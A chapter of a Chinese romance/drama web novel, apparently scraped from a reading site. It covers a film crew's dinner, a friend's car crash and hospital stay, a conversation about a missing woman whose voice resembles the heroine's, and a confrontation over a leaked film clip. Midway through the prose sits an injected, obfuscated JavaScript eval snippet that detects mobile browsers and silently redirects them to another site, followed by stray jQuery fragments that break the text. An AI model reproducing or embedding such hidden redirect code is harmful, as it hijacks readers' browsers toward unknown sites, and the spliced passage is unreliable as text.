黔记的位置是出了名的难订。整个剧组百来号人,基本把场子坐满了。季眠原先和后期团队坐一桌,被制片人硬是拉到了主桌。
“季眠,你是大功臣,来,坐曾导旁边。”制片人给季眠满上一杯,“我敬你,没有你,这事儿不会解决得这么顺利。”
季眠象征性地抿了一口,把话说的直白又诚恳,“我没不尊重您的意思,只是实在不能喝,抱歉啊。”
她都这么说了,制片人也不好硬灌,“没事儿,咱不讲究这个。”
“季眠,这次多亏了你,我也来敬你一杯。”谢莹迈着袅娜的步伐,走到季眠身边,提起杯子一饮而尽,“还有我要替赵恬道个歉,她没看清就瞎说,害得大家误会你。”
她这话一出口,算是把季眠架那儿了。大家都是女孩子,谢莹能喝,季眠不喝,显得有些拿乔。但她要是喝了,又明晃晃的不给制片人面子,毕竟制片人敬她的时候,她也只是抿了一口。
“原来是没看清啊,我还以为她故意污蔑我呢,是我误会了?”季眠把重点转移到赵恬的事上,用的问句。
桌上陷入了诡异的沉默。其实怎么回事大家早就看明白了,各自在心里嘀咕,想这两人的梁子是什么时候结下的。
“哎呀,陈总来了,您坐这儿。”统筹眼尖地瞧见陈砚舟的身影,忙让出导演右侧的位置。
“不用,在这儿加个座就行。”
陈砚舟进门正好听到季眠那句“故意污蔑”,差点没忍住笑出声。
他让侍应生在季眠和曾一斌中间,也就是谢莹站着的位置加把椅子。这下谢莹也不好继续杵在那儿,只好又端着酒杯回原位。
“抱歉啊,公司临时有事儿来晚了,我自罚一杯。”陈砚舟斟了半杯红酒,起身和桌上的各位碰杯,喝之前还和季眠单独碰了碰,陈砚舟的杯口略低一些。
季眠有些想笑,用酒杯挡住嘴角上扬的弧度,依旧是抿一小口。
“陈总,咱们这次也算是因祸得福啊,片子的关注度上去了,编剧呢,把本子改了改,剧情也比之前更精彩了。”制片人绕过季眠给陈砚舟倒酒。
“行,那我就等着票房大卖了。”陈砚舟同制片和导演碰杯,“敬二位。”
酒过三巡,曾一斌和制片人都喝得脸通红,陈砚舟却依旧神色清明。
“明天还要拍摄,今天就到这儿吧。”陈砚舟说。
攒局的都发话了,众人也就稀稀拉拉地散了。制片人搀着曾一斌歪歪扭扭地往门外走,陈砚舟看不过去,扶了他们一把。
“泄露的人找到了,具体怎么处理,你们做主吧。”陈砚舟低声说,他找出技术部的调查结果,给两人都发了一份。
曾一斌的酒瞬间醒了,他赶忙掏出手机,将调查报告前前后后翻了一遍,当看到报告中的名字时,并没有多意外,只是觉得有些棘手。
陈砚舟又回到包厢,倒了杯水,借此压住胃底翻涌而上的酒气。季眠从卫生间出来,就看到他一脸疲惫地坐在椅子上,摁了摁眉心。
季眠刚想走近,就听到手机震了震,她接起的那一刻,陈砚舟的手机屏幕上也弹出了来电显示。
“眠眠,阿烨出车祸了,也不知道什么情况,你快去看看吧。我带着老太太在法源寺上香,一时半会儿回不去。”梁枫急切的声音从听筒的另一端传来。
“好,我马上去。”
季眠挂断电话,看向陈砚舟。
“梁烨出车祸了。”
“梁烨出车祸了。”
两人的声音同时响起。
“走吧,坐我的车。”陈砚舟说完,大步朝地下停车场的方向走,季眠拿上包,小跑跟上。
林奇知道情况紧急,抄了条人少的路,把车开得飞快。
到医院后,他们直奔急救室,大老远地就听到梁烨的惨叫。
时弈和彭旭站在帘子外,目光紧紧追随着做应急处理的医护人员。
“现在什么情况?”陈砚舟拉住时弈问道。
“伤着腿了,医生在帮他把骨头移正,说等消肿后再做手术。”时弈皱着眉,也是一脸的担心,
“怎么伤的?”
“拐弯的时候没压速,撞上护栏,腿卡里头了。”彭旭解释说,“还好刹车足够灵敏,不然后果想都不敢想。”
听到这,在场的都不约而同倒吸一口凉气。
“哗——”帘子打开,梁烨被推了出来。他面色苍白,脸上有几道擦伤,腿被固定住,从裸露在外皮肤可以看到小腿肿胀的程度。
“艹,疼死老子了。”他笑着骂了一句,声音有气无力的。
“用150码的速度跑弯道,现在还能感受到疼说明你命大。”时弈骂道,天知道他从后视镜看到梁烨那辆W16直直冲上护栏有多吓人。
“150码,你找死是不是?”陈砚舟说着就要上手招呼,碍于梁烨是病号才堪堪收住。
梁烨知道两人是关心自己,但还是故作委屈对季眠说:“你看,我都这样了,他们还骂我……诶,你怎么还拍照呢,把我这副样子拍下来想做什么?”
季眠正在和梁枫说明情况,好让她放心,头也没抬,“我觉得他们骂得没毛病。”
梁烨:“……”
时弈原本没注意到季眠的存在,听到声音,心脏突得空了一拍。他缓缓转头,看向季眠,认出她是在机场停车场见过的那位,又看向陈砚舟,用眼神示意,“怎么回事?”
陈砚舟知道他为什么震惊,他是时安的哥哥,不可能听不出来两人的声线一模一样。梁烨和彭旭没反应是因为他们迟钝,再加上和时安也谈不上多熟。
“待会儿再聊这个。”陈砚舟低声说。
梁烨的病房和季眠上回住的是同一间,医生让他先输液观察两天,等消炎消得差不多了,再往小腿里安一块钢板,一年后再取出来。
梁烨刚躺下就开始吐槽,“我们家和这屋是有什么孽缘啊,一个两个都住这儿。”
“希望别有下一个人了。”季眠说着,把接好的水放在床头,“吃东西了吗?”
“没呢。”
“那我出去买点,就不问你想吃什么了,你想的估计都不能吃。”
“我们去吧,你在这看着他。”陈砚舟拍了拍时弈,对季眠说。
“哦好。”季眠本以为他们几个会有话想说,就准备腾出空间,没想到陈砚舟却让她留下。
医院
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459131|169668||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
已经过了供餐时间,陈砚舟和时弈找了家附近的餐厅,是时弈开的车。
“她和声音,和安安很像。”
“嗯。”
时弈照着导航打转方向盘,“你们最近走得很近?”
“没到很近的程度,但总会遇见,不算疏远吧。”刚消散的醉意似乎有死灰复燃的趋势,陈砚舟靠在椅背上,合上了眼。
不算疏远……凭时弈对陈砚舟的了解,这已经是他形容比较亲近的人际关系时会用到的词了。
“如果,今后有别的心仪对象出现,不用顾及我们一家人。”
时弈想说这话很久了。陈砚舟听说时安可能丧生时的模样清晰地刻在了他的脑海中,作为时安的哥哥,也作为陈砚舟的朋友,真心希望他能早一点走出来。
事发后,他们查遍了云艿和周边城市的医院、机场、火车站甚至大巴,都没有时安的记录。虽说对外宣称时安是失踪了,但如果她还活着,怎么会一年了都不联系呢?
时安多半是死了。这是众人未说出口,却心知肚明的事。
这半年来,陈砚舟在众人面前表现得不在意,但时弈知道,他并没有放下。
“你想说什么?”陈砚舟睁开眼,声音低哑。
“你对季眠,如果有一点好感的话……”
“不是你想的那样。”陈砚舟打断他,语气很果断。
“那你是因为她和安安的声音很像,……”时弈顿了顿,开始思考措辞。
陈砚舟没应声,过了许久才说:“没有。”
……
梁烨手术前的日子,季眠每天都会去一趟医院,偶尔碰到时弈和彭旭,因为不熟,也没说过什么话,奇怪的是一次也没遇到过陈砚舟。
从医院回老宅的路上,季眠找了部电影打发时间,看得正入迷,一条微信消息弹出,挡住了部分界面。
季眠选择手动忽略,将弹窗上滑,可消息却不知疲惫,此起彼伏地出现在她的视线中,她只好点开。
【伟大的剪刀手】:听说了吗!!xy的那个助理,被开了!
【伟大的剪刀手】:老曾让xy开的,说zt不走,那就xy走。没说原因,但我们猜,和片子泄露的事情有关。
【伟大的剪刀手】:片子是zt泄露的,xy能脱的了关系?
【伟大的剪刀手】:我猜啊,肯定是老曾怕开了女主演又是一场腥风血雨,就把她保下来了。
从被赵恬指认的那一刻起,季眠就知道泄露电影片段的事是她做的。谢莹作为女主角,影片泄露对她来说没有好处,所以是不是她指使的,还不好说。
【Sora】:这是我们能揣测的吗?
【伟大的剪刀手】:你就装吧,上次和老曾中门对狙的样子我又不是没见过,你会不敢?
【Sora】:我到站了,回头再说。
【伟大的剪刀手】:哦哦。
季眠从三号口出,按照老路拐进胡同,刚走没几步就停了下来。
赵恬站在不远处,静静地看着她,似乎已经等了很久。她的眼神空洞,让季眠没由来得起了身鸡皮疙瘩。
“我们聊聊吧。”赵恬一步步走近,开口说。